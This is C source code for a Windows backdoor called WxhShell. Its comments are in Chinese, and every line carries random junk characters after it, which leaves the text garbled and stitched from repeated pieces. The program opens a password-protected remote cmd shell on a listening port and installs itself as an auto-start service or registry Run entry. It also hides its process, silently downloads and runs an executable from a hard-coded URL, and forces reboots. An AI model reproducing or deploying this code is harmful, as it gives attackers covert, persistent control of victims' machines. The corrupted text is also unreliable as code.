    if(Boot(SHUTDOWN)) *z VN6wG{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|agW.l  
    else { #_35bg4h{  
    closesocket(wsh); >E<ib[vK[  
    ExitThread(0); RN(I}]]a  
    } &kIeW;X  
    break; .^{%hc*w4  
    } WChP,hw  
  // 获取shell hNN[djR  
  case 's': { /dYv@OU?  
    CmdShell(wsh); acl<dY6  
    closesocket(wsh); ) 6)bI.BY  
    ExitThread(0); W\kli';jyC  
    break; y,nmPX?]n  
  } VQla.Y  
  // 退出 aL;!BlU8v  
  case 'x': { mcez3gH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  JaY"Wfc  
    CloseIt(wsh); 12n:)yQy  
    break; &Pr\n&9A  
    } Zigv;}#  
  // 离开 [HQ)4xG  
  case 'q': { *z0d~j*W;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lg7A[\c ~  
    closesocket(wsh); EhHxB fAQ  
    WSACleanup(); en< $.aY  
    exit(1); {Uw 0zC  
    break; =D/zC'l  
        } ]X>yZec  
  } l\s!A&L  
  } pIlEoG=[_  
a<G&}|6  
  // 提示信息 <:&vAX L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2cYBm^o|x  
} i 6G40!G=)  
  } uatUo  
yU v YV-7  
  return; C.jWT1  
} f,HUr% @  
sApix=Lr  
// shell模块句柄 , Z"<-%3  
int CmdShell(SOCKET sock) rR.It,,  
{ r9 @=d  
STARTUPINFO si; EraGG"+  
ZeroMemory(&si,sizeof(si)); dgw.OXa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QadguV6|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -G,}f\Cg  
PROCESS_INFORMATION ProcessInfo; {.:$F3T  
char cmdline[]="cmd"; $6"(t=%{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /d3Jd .l!  
  return 0; MoIh =rw  
} :skR6J  
aas.-N T  
// 自身启动模式 hN-@_XSw<I  
int StartFromService(void) GDxv2^4  
{ A8Ju+  
typedef struct glMHT,  
{ Ha@; Sz<R  
  DWORD ExitStatus; |u&cN-}C d  
  DWORD PebBaseAddress; P"w\hF  
  DWORD AffinityMask; |H5.2P&9-5  
  DWORD BasePriority; I/f\m}}ba  
  ULONG UniqueProcessId; V"4Z9Qg}  
  ULONG InheritedFromUniqueProcessId; Op'a=4x]  
}   PROCESS_BASIC_INFORMATION; H -kX-7C  
$`F9e5}G  
PROCNTQSIP NtQueryInformationProcess; UPh#YV 0/,  
&N7ji  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,'X"(tpu@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L^+rsxR  
VPUVPq~&  
  HANDLE             hProcess; "}]$ag!`q$  
  PROCESS_BASIC_INFORMATION pbi; &~,4$& _  
=01X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p-[WpY3  
  if(NULL == hInst ) return 0; )j_El ]?  
c$g@3gL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eM5?fE&!&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8-2 `S*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4_R|3L  
w_(3{P[Iz  
  if (!NtQueryInformationProcess) return 0; x|6]+?l@6  
-R`{]7V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YFO{i-*q  
  if(!hProcess) return 0; YT\@fgBt  
g$nS6w|5H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5'lPXKn+L  
~G!JqdKJ0  
  CloseHandle(hProcess); YlHP:ZW-cu  
WK>F0xMs1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A lU^ ,X  
if(hProcess==NULL) return 0; iod%YjZu  
||$&o!;/L  
HMODULE hMod; fvkcJwkc  
char procName[255]; Mbi]EZ  
unsigned long cbNeeded; *T5;d h (  
P$)g=/td1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); = S&`~+  
C?<pD+]b_  
  CloseHandle(hProcess); Q.mJ7T~T  
f O*jCl  
if(strstr(procName,"services")) return 1; // 以服务启动 q-F K=r 5  
4qQ,1&!]S  
  return 0; // 注册表启动 d!,t_jM0  
} U.7fMc#  
O `}EiyV  
// 主模块 O*EV~ {K  
int StartWxhshell(LPSTR lpCmdLine) /A=w`[<  
{ 6%v9o?:~l  
  SOCKET wsl; @R[{  
BOOL val=TRUE; JB_fS/I  
  int port=0; >Fel) a  
  struct sockaddr_in door; </h^%mnd  
>L7s[vKn  
  if(wscfg.ws_autoins) Install(); COrk (V  
Rr )+M3'  
port=atoi(lpCmdLine); ht3.e[%'b  
(`P\nnb  
if(port<=0) port=wscfg.ws_port; lPTx] =G  
[0H0%z#tU&  
  WSADATA data; oo5=5s6 3}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c`a(  
G.W !   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8t-GsjHb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ',+yD9 @  
  door.sin_family = AF_INET; ]R__$fl`8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kx"1 0Vw  
  door.sin_port = htons(port); &.?XntI9O  
m~=~DMj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $<}c[Nm  
closesocket(wsl); #~u0R>=  
return 1; a)qan  
} o5 L^  
F@w; .e!  
  if(listen(wsl,2) == INVALID_SOCKET) { MY&Jdmga  
closesocket(wsl); Swi# ^i  
return 1; ($[wCHU`!  
} bF'rK'',  
  Wxhshell(wsl); -fR :W{u  
  WSACleanup(); }lJ;|kx$  
hp\&g2_S0W  
return 0; YG p+[|'  
}U_ ' 7_JT  
} UX 1 )((  
WjV15\,  
// 以NT服务方式启动 dUI5,3*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'D\Q$q  
{ )Fw/Cu  
DWORD   status = 0; _X6'u J  
  DWORD   specificError = 0xfffffff; &p0e)o~Ux  
&d#R'Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t}EM X9SQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qe~x?FO_>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wp[Ug2;G  
  serviceStatus.dwWin32ExitCode     = 0; $pGT1oF[E  
  serviceStatus.dwServiceSpecificExitCode = 0; f:T?oR>2  
  serviceStatus.dwCheckPoint       = 0; :2 ;Jo^6Se  
  serviceStatus.dwWaitHint       = 0; KyvZ? R  
Tb/TP3N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tkbao D  
  if (hServiceStatusHandle==0) return; I[ \~ pi,  
UM}u(;oo%)  
status = GetLastError(); }pc9uvmIJ  
  if (status!=NO_ERROR) O] _4pP  
{ =OVDJ0ozZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g?C;b>4  
    serviceStatus.dwCheckPoint       = 0; ~/ %Xm<  
    serviceStatus.dwWaitHint       = 0; 39pG-otJ  
    serviceStatus.dwWin32ExitCode     = status; L * n K> +  
    serviceStatus.dwServiceSpecificExitCode = specificError; k ;WD[SV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /?\3%<vn  
    return; G dgL}"*F  
  } F MfpjuHk  
Hvl n>x@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wboh2:TH:  
  serviceStatus.dwCheckPoint       = 0; ^)VwxH:s  
  serviceStatus.dwWaitHint       = 0; 5of3&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =W(*0"RM  
} t>"%exdoZ  
sE1cvAw9l  
// 处理NT服务事件,比如:启动、停止 4ls:BO;k]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *6uccx7{  
{ 7ubz7*  
switch(fdwControl) p7?  
{ p7h#.m~Qu  
case SERVICE_CONTROL_STOP: WWT1= #"  
  serviceStatus.dwWin32ExitCode = 0; EeIDlm0o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }\pI`;*O|  
  serviceStatus.dwCheckPoint   = 0; PT"}2sR)  
  serviceStatus.dwWaitHint     = 0; }Q7y tE  
  { ~5 ^Jv m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Ob.OwA  
  } R[WiW RfD  
  return; 9g92eKS  
case SERVICE_CONTROL_PAUSE: 2wf&jGHs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2[E wN!IZ  
  break; jm_-f  
case SERVICE_CONTROL_CONTINUE: )P$(]{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3} A$+PX  
  break; / )0hsQs  
case SERVICE_CONTROL_INTERROGATE: +)]YvZ6%[,  
  break; $YYWpeW '  
}; <hT\xBb:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^;C&  
} J~YT~D 2L  
WJ7|0qb  
// 标准应用程序主函数 '<Z[e`/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z$oy;j99y  
{ h}bfZL  
E?m~DYnU  
// 获取操作系统版本 "LyD  
OsIsNt=GetOsVer();  cby#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i`,FXF)  
 ;C]Ufk  
  // 从命令行安装 ^?z%f_ri  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8hRcB[F~S  
1MelHW  
  // 下载执行文件 b@:OlZ~ %  
if(wscfg.ws_downexe) { c]=2>ov)hR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9I/b$$?D  
  WinExec(wscfg.ws_filenam,SW_HIDE); yMs!6c*  
} S0$^|/Sr  
N2r zHK  
if(!OsIsNt) { :t?B)  
// 如果时win9x,隐藏进程并且设置为注册表启动 }r}*=;Ea  
HideProc(); ZWs   
StartWxhshell(lpCmdLine); =TB_|`5;j  
} &H(yLd[  
else I[z:;4W}L^  
  if(StartFromService()) jU,Xlgz(A  
  // 以服务方式启动 =8^+M1I  
  StartServiceCtrlDispatcher(DispatchTable); OLw]BJXYaE  
else LiJYyp  
  // 普通方式启动 .Po"qoGy  
  StartWxhshell(lpCmdLine); 5>532X(0  
j;x()iZ<  
return 0; ez4!5&TzRm  
} P<<$o-a"  
#h5:b`fDF  
A|A~$v("R  
H DVimoOq  
=========================================== bMH~vR  
y@P%t9l  
%idBR7?`g  
7Q 3!= b  
5=>1>HYM  
6W1GvM\e  
" dBWny&  
tRjv  -  
#include <stdio.h> ] 5Cr$%H=  
#include <string.h> 5'%I4@Qn+  
#include <windows.h> O&%'j  
#include <winsock2.h> +ikSa8)*i  
#include <winsvc.h> 9u=A:n\  
#include <urlmon.h> H R>Y?B{  
p8Vqy-:  
#pragma comment (lib, "Ws2_32.lib") OvfluFu7  
#pragma comment (lib, "urlmon.lib") F!z0N&#  
.ZXoRT  
#define MAX_USER   100 // 最大客户端连接数 1$E(8"l  
#define BUF_SOCK   200 // sock buffer vEv kC  
#define KEY_BUFF   255 // 输入 buffer FaHOutP  
=~^b  
#define REBOOT     0   // 重启 =?sG~  
#define SHUTDOWN   1   // 关机 /\J0)V  
PN* .9;5Z  
#define DEF_PORT   5000 // 监听端口 )ycI.[C  
-H| 9 82=  
#define REG_LEN     16   // 注册表键长度 .qBc;u  
#define SVC_LEN     80   // NT服务名长度 K7}.#*% ~  
<'Q6\R}:vC  
// 从dll定义API ]xC56se  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  *7m lH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hA=uoe\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y:G%p3h)[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m$0W^u  
EOPx 4+o  
// wxhshell配置信息 Y&2FH/(M  
struct WSCFG { V"Q\7,_k.  
  int ws_port;         // 监听端口 ?_Qe45 @  
  char ws_passstr[REG_LEN]; // 口令 /A_:`MAZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no D%SOX N  
  char ws_regname[REG_LEN]; // 注册表键名 XM'tIE+|  
  char ws_svcname[REG_LEN]; // 服务名 w[~G^x&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \C~X_/sg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CS^6$VL7e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q_mphW:[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -jH|L{Iyq}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dPUe5k)G_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1M ?BSH{  
Rv1W&s&  
};  Y@,iDQ  
a~}q]o?j  
// default Wxhshell configuration *V>?m6y/  
struct WSCFG wscfg={DEF_PORT, 7FX4|]  
    "xuhuanlingzhe", Pz)lq2Zm9  
    1, h nydH-;cz  
    "Wxhshell", @]uqC~a^  
    "Wxhshell", g*k)ws  
            "WxhShell Service", [ATJ! O  
    "Wrsky Windows CmdShell Service", /t5)&  
    "Please Input Your Password: ", J[/WBVFDf  
  1, ax@H^Gj@2  
  "http://www.wrsky.com/wxhshell.exe", z} fpV T  
  "Wxhshell.exe" AD?zBg Zu  
    }; O'4G'H)   
F5)`FM^R  
// 消息定义模块 c *KE3:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~IhAO}1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9a`Lr B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $8^Hk xy  
char *msg_ws_ext="\n\rExit."; /wD f,Hduz  
char *msg_ws_end="\n\rQuit."; bY_'B5$.^2  
char *msg_ws_boot="\n\rReboot..."; C'R9Nn'  
char *msg_ws_poff="\n\rShutdown..."; _^ hg7&dF  
char *msg_ws_down="\n\rSave to "; W>3S%2d  
-^&=I3bp  
char *msg_ws_err="\n\rErr!"; z/t|'8f  
char *msg_ws_ok="\n\rOK!"; <2U#U;  
7q0_lEh  
char ExeFile[MAX_PATH]; VL%. maj  
int nUser = 0; WJ{Iv] }9  
HANDLE handles[MAX_USER]; 7_~ A*LM  
int OsIsNt; d$IROZK-D  
H'A N osv  
SERVICE_STATUS       serviceStatus; Ft5A(P >  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *%xbn8  
Y ^^4n$  
// 函数声明 4m*)("H  
int Install(void); XkI'm\W  
int Uninstall(void); Q)75?mn  
int DownloadFile(char *sURL, SOCKET wsh); yan^\)HZ  
int Boot(int flag); \Qml~?$@lH  
void HideProc(void); tYA@J["^  
int GetOsVer(void); 0E.N3iU  
int Wxhshell(SOCKET wsl); H cmW  
void TalkWithClient(void *cs); 1>(EvY}Y\  
int CmdShell(SOCKET sock); R"ON5,E  
int StartFromService(void); G,C`+1$*  
int StartWxhshell(LPSTR lpCmdLine); qu B[S)2}  
J[lC$X[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hq.rG-,p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eV7;#w<]  
Vr2A7kq  
// 数据结构和表定义 O_QDjxj^rZ  
SERVICE_TABLE_ENTRY DispatchTable[] = ,gV#x7IW  
{ z'l$;9(y  
{wscfg.ws_svcname, NTServiceMain}, u(vZOf]jL  
{NULL, NULL} r1!1u7dr t  
}; ]V"P &; m  
l7`{O/hN  
// 自我安装 &'6/H/J  
int Install(void) HZ3;2k  
{ [>ghs_?dZ  
  char svExeFile[MAX_PATH]; 77\+V 0cF  
  HKEY key; u\LNJo| B  
  strcpy(svExeFile,ExeFile); 1$Hou   
Q4XlYgIV2A  
// 如果是win9x系统,修改注册表设为自启动 oh5'Isb$  
if(!OsIsNt) { sL@\,]Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SZGR9/* ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BX_yC=S  
  RegCloseKey(key); ns~]a:1yh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s;A7:_z#7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a1pp=3Pd?~  
  RegCloseKey(key); @i ~A7L0/  
  return 0; +4yre^gC  
    } `v -[&  
  } ~'M<S=W  
} 21TR_0g&<  
else { u X,n[u  
L{/% "2>  
// 如果是NT以上系统,安装为系统服务 O Z ./suR)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jNj;#C)  
if (schSCManager!=0) UJO3Yn  
{ etX@z'H  
  SC_HANDLE schService = CreateService /8; m.J>bf  
  ( kk fWiPO^  
  schSCManager, 'T eH(?3G  
  wscfg.ws_svcname, n/ KO{:  
  wscfg.ws_svcdisp, (d4btcg  
  SERVICE_ALL_ACCESS, V]|X ,G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y:)^*2GA-B  
  SERVICE_AUTO_START, * JK0X  
  SERVICE_ERROR_NORMAL, ]:e_Y,@  
  svExeFile, izP )t  
  NULL, C0N :z.)4  
  NULL, L:HvrB~  
  NULL, (z sG!v  
  NULL, J~%43!X\K  
  NULL m%0 -3c(  
  ); '0 Cp  
  if (schService!=0) ,HP }}K+S  
  { ^E^`"  
  CloseServiceHandle(schService); J9lZ1,22  
  CloseServiceHandle(schSCManager); 4iAF<|6s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !.P||$x`&  
  strcat(svExeFile,wscfg.ws_svcname); !E$$ FvL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n])#<0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <vcU5 .K.  
  RegCloseKey(key); xn*$Ty+  
  return 0; y#Dh)~|k  
    } pGD@R=8  
  } xMr,\r'+  
  CloseServiceHandle(schSCManager); JQ?`l)4  
} WEwa<%Ss  
} &tH?m;V  
+/[M Ex=   
return 1; !( lcUdBd  
} Zv!`R($  
z Rna=h!  
// 自我卸载 M\{n+r -m  
int Uninstall(void) MtkU]XKGT  
{ &nIu^,.  
  HKEY key; F85_Lz4  
'=0}2sF>  
if(!OsIsNt) { ;<Q%d~$xy}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4&W?: =H2  
  RegDeleteValue(key,wscfg.ws_regname); mB-,\{)  
  RegCloseKey(key); 'xH^ksb"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `X<B+:>v-  
  RegDeleteValue(key,wscfg.ws_regname); -,bnj^L  
  RegCloseKey(key); uw\@~ ,d  
  return 0; #gbB// <  
  } 2.3_FXSt  
} [6a-d> e{  
} Y,s EM%  
else { s|p I`  
3en 9TB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m(8Tup|  
if (schSCManager!=0) <>6j>w_|  
{ u1/ >)_U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b,Wm]N  
  if (schService!=0) =zFROB\  
  { AJ7w_'u=@  
  if(DeleteService(schService)!=0) { %)j&/QdzF&  
  CloseServiceHandle(schService); FJeh=\  
  CloseServiceHandle(schSCManager); @jn&Wf?  
  return 0; nL 5tHz:e  
  } BAQ-1kSz  
  CloseServiceHandle(schService); D [+LU(  
  } hC2Fup1@  
  CloseServiceHandle(schSCManager); `n$Ak5f  
} dk&e EDvfd  
} z>N[veX%  
:7K a4  
return 1; Et3]n$  
} /x49!8  
0j@mzd2  
// 从指定url下载文件 ;MN$.x+  
int DownloadFile(char *sURL, SOCKET wsh) T >8P1p@A,  
{ iTHwH{!  
  HRESULT hr; x)C}  
char seps[]= "/"; j*>J1M3E  
char *token; *?<N3Rr*  
char *file; x^K4&'</  
char myURL[MAX_PATH]; HJ&P[zV^  
char myFILE[MAX_PATH]; {VAih-y  
_^E NRk@  
strcpy(myURL,sURL); @bg9 }Z%\h  
  token=strtok(myURL,seps); ?;,;  
  while(token!=NULL) h~>1 -T8  
  { }StzhV{GS  
    file=token; akvi^]x  
  token=strtok(NULL,seps); -+E.I*st  
  } ^xHKoOTj[  
Xc-["y64  
GetCurrentDirectory(MAX_PATH,myFILE); YF{MXK}  
strcat(myFILE, "\\"); .\caRb[  
strcat(myFILE, file); ]nsjYsT  
  send(wsh,myFILE,strlen(myFILE),0); D_lRYLA+  
send(wsh,"...",3,0); ox&5} &\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3%*igpj\)  
  if(hr==S_OK) z3a GK  
return 0; 5Od%Jhtt  
else PIH\*2\/  
return 1; 1h@qcom9K_  
@JGmOwZ  
} +JErc)%  
=7V4{|ESfy  
// 系统电源模块 5&8E{YXr  
int Boot(int flag) {N~mDUoJ|  
{ TKnWhB/J  
  HANDLE hToken; LtRRX@qJw  
  TOKEN_PRIVILEGES tkp; m%L!eR  
/MtmO$ .  
  if(OsIsNt) { [~N;d9H+*1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =RWTjTZ   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W^iK9|[qp  
    tkp.PrivilegeCount = 1; &%fcGNzJQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V ,KIi_Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <%^/uS  
if(flag==REBOOT) { QYbB\Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H?"M&mF  
  return 0; Ovt]3`U9J  
} qe.QF."y  
else { F>\,`wP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fAJyD`]Z  
  return 0; Kxr{Nx  
} w Q[|D2;  
  } "5N4 of 8  
  else { 0~U0s3  
if(flag==REBOOT) { o(ow{S@=4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s* GZOz  
  return 0; \kQ)fk]^  
}  ]~;*9`:  
else { LtB5;ByeQ0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?d%)R*3IX  
  return 0; pwN2Nzski  
} Yh95W  
} 'bx}[  
<PSz`)SN  
return 1; Lc~m`=B  
} x/<ow4C  
mW{;$@PLF"  
// win9x进程隐藏模块 N[ = I  
void HideProc(void) JA4Zg*7I  
{ QD.5o S  
.6gx|V+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ,t 2CQ  
  if ( hKernel != NULL ) uUfw"*D  
  { Ij(dgY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XEiVs\) G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \ZRII<k5)  
    FreeLibrary(hKernel); ()6% 1zCO  
  } |&@q$d  
\>S.nW  
return; PSc=k0D  
} $R}C(k ;?  
CRo'r/G  
// 获取操作系统版本 -`4]u!A  
int GetOsVer(void) ZJ{DW4#t  
{ SGl|{+(A  
  OSVERSIONINFO winfo; U)kyq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mH,s!6j?Vp  
  GetVersionEx(&winfo); 4>(K~v5;N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a >fA-@  
  return 1; .45wwouZkc  
  else 9,fV  
  return 0; Mzg'$]N  
} MNs<yQ9I'  
ai;!Q%B#Q  
// 客户端句柄模块 ]MYbx)v)  
int Wxhshell(SOCKET wsl) bpsyO>lx/  
{ G5qsnTxUJ  
  SOCKET wsh; Lx- %y'P  
  struct sockaddr_in client; 8nI~iN?"   
  DWORD myID; [g}^{ $`  
N,w6  
  while(nUser<MAX_USER) q<\r}1Dm  
{ +_:p8, 5o  
  int nSize=sizeof(client); ^(&2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^RnQX#+  
  if(wsh==INVALID_SOCKET) return 1; Y<;C>Rs  
>> cW0I/`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?4SYroXUX|  
if(handles[nUser]==0) s-*N_Dv  
  closesocket(wsh); c+{XP&g8_J  
else 6No.2Oo  
  nUser++; tgBA(2/Co  
  } n^QDMyC;I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m@nGXl'!  
fyUW;dj  
  return 0; qF3S\ C  
} gS(JgN  
_$*-?*V&  
// 关闭 socket 'tTlBf7#  
void CloseIt(SOCKET wsh) Db2#QQ  
{ ?Ho$fGz  
closesocket(wsh); fXevr `  
nUser--; h`fZ 8|yw  
ExitThread(0); "Io-%S u+  
} NTJ,U2  
S ?t `/"O  
// 客户端请求句柄 vasw@Uto)  
void TalkWithClient(void *cs) toF6 Z  
{ 'NWvQR<X  
BfCib]V9C  
  SOCKET wsh=(SOCKET)cs; AkjoD7.*  
  char pwd[SVC_LEN]; |QzJHP @  
  char cmd[KEY_BUFF]; ,=!s;+lu{  
char chr[1]; h%:wIkZ/  
int i,j; a:|]F|  
b c .Vy  
  while (nUser < MAX_USER) { .aZB?M W  
:x q^T  
if(wscfg.ws_passstr) { 9^S rOW6~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W(ZEqH2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jM*wm~4>@  
  //ZeroMemory(pwd,KEY_BUFF); IAd ^$9  
      i=0; .*k!Zl*  
  while(i<SVC_LEN) { ;2 o{ 6  
JF &$'  
  // 设置超时 k'$7RjCu  
  fd_set FdRead; lItr*,A]  
  struct timeval TimeOut; =uwG.,lC  
  FD_ZERO(&FdRead); O'S xTwO  
  FD_SET(wsh,&FdRead); 6:r1^q6A9L  
  TimeOut.tv_sec=8; /x-tl)(s=  
  TimeOut.tv_usec=0; ICoZ<;p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FlS)m`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?Wt_Obl  
Rpcnpo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2b {Y1*  
  pwd=chr[0]; EI9Yv>7d{  
  if(chr[0]==0xd || chr[0]==0xa) { \l6mX In=>  
  pwd=0; nkkGJV!  
  break; kGq<Zmy|  
  } VAxk?P0j6  
  i++; _}Gs9sHr0K  
    } RkdAzv!Y7  
# 9f 4{=\  
  // 如果是非法用户,关闭 socket `Geq,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d\z':d .Tt  
} ,Ur~DXY  
{iq{<;)U?U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HSl$ U0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `.6Jgfu  
,/L_9wV-\  
while(1) { 1_W5@)  
N_!Zn"J  
  ZeroMemory(cmd,KEY_BUFF); of<>M4/g4y  
L3Q1az!Ct  
      // 自动支持客户端 telnet标准   _Q;M$.[zyR  
  j=0; I(WND/&  
  while(j<KEY_BUFF) { $PbN=@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y@'1}=`J  
  cmd[j]=chr[0]; "ZVBn!  
  if(chr[0]==0xa || chr[0]==0xd) { 8<^6<c  
  cmd[j]=0; ^_ZQf  
  break; D+_PyK~ jc  
  } X'bp?m  
  j++; }Lwj~{  
    } **YNR:#Y  
48%a${Nvvj  
  // 下载文件 Ah2XwFg?  
  if(strstr(cmd,"http://")) { T{K+1SPy4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); aEZn6k1  
  if(DownloadFile(cmd,wsh)) p|%Y\!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7e#|=e *I!  
  else H "?-&>V-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zT+yZA.L  
  } !r!Mq~X<=  
